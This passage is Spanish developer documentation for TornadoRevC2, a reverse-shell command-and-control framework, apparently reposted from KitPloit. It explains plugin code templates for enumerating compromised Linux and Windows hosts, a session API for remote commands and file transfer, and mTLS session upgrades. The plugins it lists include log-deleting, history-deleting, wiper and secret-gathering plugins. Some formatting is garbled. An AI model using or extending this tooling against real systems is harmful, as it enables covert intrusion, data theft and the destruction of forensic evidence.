  • Define _emit(obj) para escribir __T_PLUGIN_START__ + JSON + __T_PLUGIN_END__
  • Emite {"error": "...", "traceback": "..."} en excepciones no controladas
  • Codifica el script para ejecución en línea mediante python3 -c (o python2 como alternativa)
  • Recurre al almacenamiento por fragmentos en /tmp solo cuando la carga útil codificada supera los ~4000 bytes

Prefiera comandos nativos:```python def sh(cmd, timeout=5): try: out = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=timeout) return out.decode("utf-8", "ignore") except Exception: return ""

result = {"summary": {}, "ports": []} output = sh("ss -tulpn 2>/dev/null || netstat -tulpn 2>/dev/null", 10) for line in output.splitlines()[:60]: result["ports"].append(line.strip()) _emit(result)

root@kitploit:~
**Directrices:**

- Use `subprocess.check_output(..., timeout=N)` para cada comando externo.
- Recorte las listas grandes antes de emitirlas (límite de 50–80 entradas).
- Maneje la ausencia de herramientas de forma controlada—deje las secciones vacías en lugar de generar una excepción.
- Evite incrustar cadenas marcadoras en la salida; el plugin `history` elimina `__T_PLUGIN_*__` del texto recopilado por esta razón.
- Mantenga los recolectores compactos para permanecer por debajo del límite de tamaño en línea y evitar el almacenamiento temporal en `/tmp`.

### Recolectores de Windows

Los recolectores de Windows son cadenas de script de PowerShell devueltas por `_build_windows_command()`.

**Estructura:**```python
from tornadorevc2.constants import PLUGIN_MARK_END, PLUGIN_MARK_START

def _build_windows_command():
    return rf"""
$ErrorActionPreference='SilentlyContinue'
$start='{PLUGIN_MARK_START}'; $end='{PLUGIN_MARK_END}'
$result = [ordered]@{{
  summary = @{{ count = 0 }}
  items = @()
}}
try {{
  Get-CimInstance Win32_Service -EA 0 | Select-Object -First 50 | ForEach-Object {{
    $result.items += @{{ name = $_.Name; state = $_.State }}
  }}
  $result.summary.count = $result.items.Count
}} catch {{
  $result.summary.error = $_.Exception.Message
}}
Write-Output ($start + (ConvertTo-Json $result -Depth 5 -Compress) + $end)
"""

Directrices:

  • Establezca siempre $ErrorActionPreference='SilentlyContinue' al principio.
  • Utilice -EA 0 (ErrorAction SilentlyContinue) en los cmdlets que puedan fallar en sistemas más antiguos.
  • Se requiere duplicar las llaves dentro de f-strings de Python y f-strings sin procesar: {{ y }} para las tablas hash y los bloques de script de PowerShell.
  • Utilice [ordered]@{{...}} para preservar el orden de las claves en la salida JSON.
  • Prefiera los cmdlets integrados (Get-NetTCPConnection, Get-Process, netsh, wevtutil) en lugar de herramientas externas.
  • Envuelva cada sección lógica en su propio try/catch para que un fallo no aborte todo el recolector.
  • En sesiones interactivas de PowerShell, los scripts se entregan en proceso mediante win_client.py para una captura de salida fiable.

Alternativa: Para plugins exclusivos de Windows con puntos de entrada mínimos, utilice una única función build_command():```python

tornadorevc2/plugins/windows/services.py

@plugin.command(name="services", platforms=["windows"], description="...") def run(session: SessionContext, args): return run_collector_plugin(session, "services", None, build_command, format_generic_report, timeout=35.0)

root@kitploit:~
### Convenciones de payload JSON

Los recolectores deben devolver un dict serializable en JSON. El runner y los formateadores esperan un uso consistente de las claves:

| Clave | Tipo | Propósito |
|-----|------|---------|
| `summary` | `dict` | Recuentos y estadísticas de alto nivel; renderizado primero por `format_generic_report()` |
| `error` | `str` | **Fallo grave** — el runner imprime el error y devuelve el código de salida 1 |
| `traceback` | `str` | Opcional; se registra como detalle cuando `error` está establecido |
| `reason` | `str` | **Fallo leve** — usar con formateadores personalizados (p. ej., portapapeles no disponible) |
| `ok` | `bool` | Indicador de éxito para plugins operativos (captura de pantalla, portapapeles) |
| Listas de `dict` | `list` | Renderizadas como tablas por `format_generic_report()` |
| Listas de `str` | `list` | Renderizadas como listas con viñetas |
| `dict` anidado | `dict` | Renderizado como secciones etiquetadas |

**Degradación gradual:** Para la enumeración de múltiples secciones, use claves de dict separadas por sección y capture las excepciones localmente. No establezca `error` de nivel superior a menos que todo el recolector haya fallado—los resultados parciales son preferibles.```python
result = {"summary": {}, "ufw": {}, "iptables": {}}
# Each backend probed independently; failures leave that section empty

Formateadores personalizados

Pasa un formateador personalizado a run_collector_plugin en lugar de format_generic_report:```python from tornadorevc2.plugins.shared.common import format_section, format_list_section

def format_firewall_report(data: dict) -> str: sections = [] summary = data.get("summary") or {} if summary: sections.append(format_section("Summary", summary)) for key in ("ufw", "iptables", "windows_defender_firewall"): block = data.get(key) if isinstance(block, dict) and block: sections.append(format_section(key.replace("_", " ").title(), block)) if not sections: return "Firewall: no data collected." return "\n\n".join(sections)

root@kitploit:~
Helpers reutilizables en `plugins/shared/common.py`:

| Función | Propósito |
|----------|---------|
| `format_generic_report(data, title='Results')` | Renderizador predeterminado de tabla/sección |
| `format_section(title, fields, width=22)` | Sección clave-valor |
| `format_list_section(title, items, empty='(none)')` | Lista con viñetas |
| `format_table_section(title, rows, columns)` | Filas de dict como columnas |
| `format_firewall_report`, `format_memorymap_report`, etc. | Formateadores específicos de plugins |

### Plugins específicos de plataforma

**Solo Windows:**```python
@plugin.command(name="rdp", platforms=["windows"], description="...")
def run(session: SessionContext, args):
    return run_collector_plugin(
        session, "rdp",
        None,                    # no Linux builder
        build_command,
        format_generic_report,
        timeout=35.0,
    )

Solo Linux:```python @plugin.command(name="cron", platforms=["linux", "unix"], description="...") def run(session: SessionContext, args): return run_collector_plugin( session, "cron", build_linux_command, None, # no Windows builder format_generic_report, timeout=30.0, )

root@kitploit:~
**Multiplataforma con constructores divididos:**

Algunos plugins compartidos delegan a módulos constructores específicos de la plataforma (p. ej., `virtualization` importa desde `linux/virtualization.py` y `windows/virtualization.py`). El punto de entrada `@plugin.command` permanece en `shared/`; los módulos constructores bajo `linux/` o `windows/` no contienen decorador y no se registran como plugins independientes.

### Plugins externos

Los plugins externos te permiten extender TornadoRevC2 sin modificar el repositorio.

**Configuración:**```bash
# Default location (created automatically if missing)
./plugins/myplugin.py

# Or set a custom directory
export TORNADOREVC2_PLUGIN_DIR=/path/to/my/plugins

Flujo de trabajo:```bash

From the handler console

plugins load myplugin # import and register commands plugins info myplugin # verify name, platforms, description, module path run myplugin 1 # execute against session 1 run myplugin 1 --verbose # extra args passed to handler as args=["--verbose"] plugins reload myplugin # re-import after editing (clears stale registrations) plugins unload myplugin # fully unload external plugin

root@kitploit:~
**Ciclo de vida externo vs integrado:**

| Acción | Plugin integrado | Plugin externo |
|--------|-----------------|-----------------|
| `plugins unload` | Deshabilitado temporalmente (el módulo permanece importado) | Completamente descargado y desregistrado |
| `plugins reload` | Reimporta el módulo, limpia registros de comandos obsoletos | Elimina de `sys.modules`, reimporta desde disco |
| Inicio | Cargado automáticamente | Cargado bajo demanda |

Los módulos externos se importan como `tornado_ext_plugin_<name>` para evitar colisiones de espacio de nombres.

### API de SessionContext

Cada handler recibe un `SessionContext` que envuelve el handler y el socket del cliente:

**Propiedades de metadatos:**

| Propiedad | Tipo | Descripción |
|----------|------|-------------|
| `session_id` | `str` | Identificador de sesión asignado |
| `platform` | `str` | `unix`, `windows` o `unknown` |
| `is_windows` / `is_unix` | `bool` | Indicadores de conveniencia de plataforma |
| `sysinfo` | `dict` | Información del host en caché de la recopilación `sysinfo` |
| `identity` | `dict` | Metadatos de identidad/huella de la sesión |
| `addr` | `tuple` | Dirección remota |
| `tls` | `bool` | Indica si la sesión usa TLS |
| `name` | `str` | Nombre amigable asignado por el operador |
| `fingerprint` | `str` | Huella estable del host |
| `logger` | `SessionLogger` | Escritor de log por sesión (puede ser `None`) |
| `colors` | `dict` | Códigos de color de consola |
| `socket` | socket | Socket de cliente sin procesar (uso avanzado) |

**Métodos de ejecución:**

| Método | Descripción |
|--------|-------------|
| `run_shell(cmd, timeout=15.0)` | Envía comando, espera salida, devuelve string |
| `run_shell_streaming(cmd, timeout, idle_timeout, on_chunk)` | Transmite salida con detección de inactividad; útil para comandos de larga duración |
| `run_marked(unix_cmd, win_ps_script, timeout, start_mark, end_mark, strip_ws)` | Ejecuta el comando apropiado para la plataforma y extrae el payload marcado |
| `get_cwd()` | Devuelve el directorio de trabajo remoto |
| `collect_sysinfo(mode='stealth')` | Activa la recopilación de información del host |

**Métodos de transferencia:**

| Método | Descripción |
|--------|-------------|
| `upload(local_path, remote_path, resume=False)` | Sube archivo al objetivo |
| `download(remote_path, local_path, resume=False)` | Descarga archivo desde el objetivo |
| `verify_remote(remote_path)` | Verifica el tamaño y SHA-256 del archivo remoto |

**Registro y salida:**

| Método | Descripción |
|--------|-------------|
| `print(text, color=None)` | Imprime en la consola del operador con color opcional (`red`, `green`, `yellow`, `cyan`) |
| `log_event(message)` | Añade evento con marca de tiempo a `session.log` |
| `log_command(cmd, output)` | Registra comando y salida en `session.log` |
| `log_plugin_result(name, report, detail='')` | Escribe informe en `logs/<session>/plugins/<name>_<timestamp>.log` |

### Manejo de errores y códigos de retorno

| Retorno | Significado | Comportamiento del handler |
|--------|---------|------------------|
| `0` | Éxito | No se muestra advertencia |
| `1` (o cualquier valor distinto de cero) | Fallo | Advertencia amarilla: `Plugin 'name' returned code N` |
| Excepción no capturada | Error | Mensaje de error rojo; registrado en el log de sesión |

**Modos de fallo del colector** (gestionados por `run_collector_plugin`):

| Condición | Comportamiento |
|-----------|----------|
| Timeout / sin marcadores en la salida | Salida 1, registra "no response" |
| Salida no es JSON válido | Salida 1, registra salida sin procesar (truncada) como detalle |
| `data["error"]` presente | Salida 1, imprime error y traceback |
| Fallos parciales de sección | **No** debe establecer `error` de nivel superior; dejar la sección vacía |

**Fallos suaves** (plugins operativos): Use `reason` o `ok: false` y gestione en un formateador personalizado o handler personalizado en lugar de depender de la comprobación estricta de `error` del runner.

### Mejores prácticas

1. **Prefiera comandos nativos del SO** sobre herramientas subidas—se alinea con el diseño de dependencias ligeras del framework.
2. **No escriba archivos en el objetivo** para enumeración; devuelva datos a través del canal shell. Los plugins operativos (wiper, historydel) son excepciones con propósito claro.
3. **Degrade con gracia** — sondee cada backend de forma independiente; secciones vacías superan al fallo total.
4. **Limite el tamaño de salida** — recorte listas a 50–80 elementos; trunque cadenas largas a 200–500 caracteres.
5. **Establezca timeouts realistas** — sondeos rápidos: 15–30s; enumeración exhaustiva: 45–75s.
6. **Registre de forma consistente** — llame a `session.log_event()` al inicio, `session.log_plugin_result()` al completar, `session.log_command()` para exportación de transcripción.
7. **Valide argumentos temprano** — devuelva 1 con mensaje de uso antes de enviar cualquier cosa al objetivo.
8. **Pruebe desde ambas consolas** — handler principal (`run plugin <ID>`) y sesión adjunta (`switch` luego `run plugin`).
9. **Use `plugins reload`** durante el desarrollo para recoger cambios sin reiniciar el handler.
10. **Limpie marcadores sensibles** de la salida recopilada si su plugin lee contenido de archivos arbitrarios.

### Implementaciones de referencia

| Plugin | Archivo | Patrón | Notas |
|--------|------|---------|-------|
| `firewall` | `plugins/shared/firewall.py` | Colector multiplataforma | Degradación con gracia multi-backend |
| `ports` | `plugins/shared/ports.py` | Colector multiplataforma | `ss` / `Get-NetTCPConnection` nativos |
| `history` | `plugins/shared/history.py` | Colector multiplataforma | Constructores Linux Python + Windows PowerShell |
| `memorymap` | `plugins/shared/memorymap.py` | Handler personalizado | Argumento PID, constructor dinámico |
| `screenshot` | `plugins/shared/screenshot.py` | Handler personalizado | Base64 en JSON; guardado PNG del lado del operador |
| `clipboard` | `plugins/shared/clipboard.py` | Handler personalizado | Fallo suave vía campo `reason` |
| `historydel` | `plugins/shared/historydel.py` | Handler personalizado | Destructivo; limpieza shell post-colector |
| `wiper` | `plugins/shared/wiper.py` | Handler personalizado | Destructivo; validación de argumento de ruta |
| `services` | `plugins/windows/services.py` | Colector solo Windows | Punto de entrada mínimo |
| `eventlogdel` | `plugins/windows/eventlogdel.py` | Colector solo Windows | Destructivo; reporte de fallo por log |
| `rdp` | `plugins/windows/rdp.py` | Colector solo Windows | Enumeración de registro y firewall |
| `virtualization` | `plugins/shared/virtualization.py` | Entrada compartida + constructores divididos | Importa constructores `linux/` y `windows/` |
| `secrets` | `plugins/linux/secrets.py` | Colector solo Linux | Listado restringido por plataforma |

Para nuevos plugins de enumeración, comience desde `run_collector_plugin` en `plugins/shared/runner.py` y copie el diseño de `firewall.py` o `ports.py`. Para plugins con argumentos o efectos secundarios, consulte `memorymap.py` o `wiper.py`.

---

## Registro de sesiones

Cada sesión escribe en un directorio aislado bajo `logs/`:```text
logs/001_user@hostname_192.168.1.10_unix_10-08-2026_143022/
  session.log           Operator commands and console output
  sysinfo.json          Host information snapshot
  transfers/            Upload and download event logs
  executions/           In-memory payload execution metadata
  plugins/              Plugin reports and collector output
      quickenum_20260812_054812.log
      firewall_20260812_055130.log
      screenshot_20260812_055412.png

Los registros del plugin contienen un informe legible por humanos y, cuando corresponde, la carga útil JSON sin procesar devuelta por el recolector remoto.


Estructura del proyecto```text

TornadoRevC2/ ├── tornadorevc2.py Entry point ├── tornadorevc2/ │ ├── handler.py Listeners, sessions, operator console │ ├── updater.py Git-based self-update and restart │ ├── sysinfo.py Host information collection │ ├── terminal.py PTY/TTY management │ ├── transfer.py Chunked file transfers │ ├── tunnel.py SOCKS5 pivoting │ ├── remote_exec.py Remote command builders │ ├── win_client.py Windows shell detection and script delivery │ ├── session_registry.py Session persistence and reconnect logic │ ├── session_log.py Per-session directory logging │ ├── export.py HTML transcript export │ ├── payloads.py Built-in payload catalog │ └── plugins/ │ ├── api.py SessionContext and plugin registration │ ├── manager.py Plugin lifecycle and execution │ ├── loader.py Module discovery │ ├── shared/ Cross-platform plugins │ ├── linux/ Linux/Unix-only plugins │ └── windows/ Windows-only plugins ├── plugins/ Optional external plugin directory └── logs/ Session output (created at runtime)

root@kitploit:~
---

## Configuración de TLS y mTLS

TornadoRevC2 ejecuta tres listeners aislados, cada uno con su propia fuente de certificados. Todo lo que está bajo `tls_certs/` y `mtls_certs/` se genera automáticamente en la primera ejecución y nunca se sobrescribe.

| Listener | Puerto | Autenticación de cliente | Certificados |
|----------|------|-------------|--------------|
| TCP | `4444` | ninguna | — |
| TLS | `8443` | solo servidor | `tls_certs/server.pem`, `tls_certs/server.key` |
| mTLS | `9443` | mutua (se requiere certificado de cliente) | paquete `mtls_certs/` |

### TLS

Se genera automáticamente como un par autofirmado (`CN=localhost`, RSA-2048, 3650 días).

Para proporcionar el tuyo propio:```bash
python tornadorevc2.py -H 0.0.0.0 -p 4444 -tp 8443 \
  -c tls_certs/server.pem -k tls_certs/server.key

Si el cliente se conecta utilizando una dirección IP, el certificado del servidor debe incluir esa IP en su Subject Alternative Name (SAN). Evite deshabilitar la verificación del nombre de host a menos que exista una razón específica para hacerlo.

mTLS

En la primera ejecución, se inicializa una PKI completa bajo mtls_certs/:

  • ca.pem / ca.key — CA autofirmada (RSA-4096, CN=TornadoRevC2-mTLS-CA)
  • server-mtls.pem / server-mtls.key — certificado del servidor firmado por la CA
  • client.pem / client.key — certificado del cliente firmado por la CA
  • ca.srl — contador de serie de OpenSSL generado durante la firma del certificado

Distribuya client.pem + client.key + ca.pem con el cliente autorizado. El cliente debe presentar su certificado al conectarse o el handshake será rechazado.

Comience con rutas explícitas:```bash python tornadorevc2.py -H 0.0.0.0 -mp 9443
--mtls-ca-cert mtls_certs/ca.pem --mtls-ca-key mtls_certs/ca.key
--mtls-server-cert mtls_certs/server-mtls.pem --mtls-server-key mtls_certs/server-mtls.key
--mtls-client-cert mtls_certs/client.pem --mtls-client-key mtls_certs/client.key

root@kitploit:~
### Actualizar una sesión activa a mTLS

Las sesiones existentes en TCP simple o TLS con autenticación de servidor se pueden trasladar al listener mTLS sin reiniciar el handler. El plugin `upgrade_mtls` sube `client.pem`, `client.key` y `ca.pem` al objetivo, lanza un shell en segundo plano que presenta el certificado de cliente y (por defecto) elimina el bundle del disco una vez que la nueva sesión está activa.```bash
# From the main handler prompt
run upgrade_mtls 1 --port 9443 --host 10.10.14.7
run upgrade_mtls 1 --keep-bundle       # leave certs on disk after launch
run upgrade_mtls 1 --no-upload         # certificate bundle already uploaded manually

# From inside an attached session (switch 1)
run upgrade_mtls

Flags

FlagPredeterminado
-H / --host0.0.0.0
-p / --port4444
-tp / --tls-port8443
-mp / --mtls-port9443
-c / --cert, -k / --keytls_certs/server.{pem,key}
--mtls-ca-cert / --mtls-ca-keymtls_certs/ca.{pem,key}
--mtls-server-cert / --mtls-server-keymtls_certs/server-mtls.{pem,key}
--mtls-client-cert / --mtls-client-keymtls_certs/client.{pem,key}

Licencia

Este proyecto está licenciado bajo la GNU General Public License v3.0.

Descargar herramienta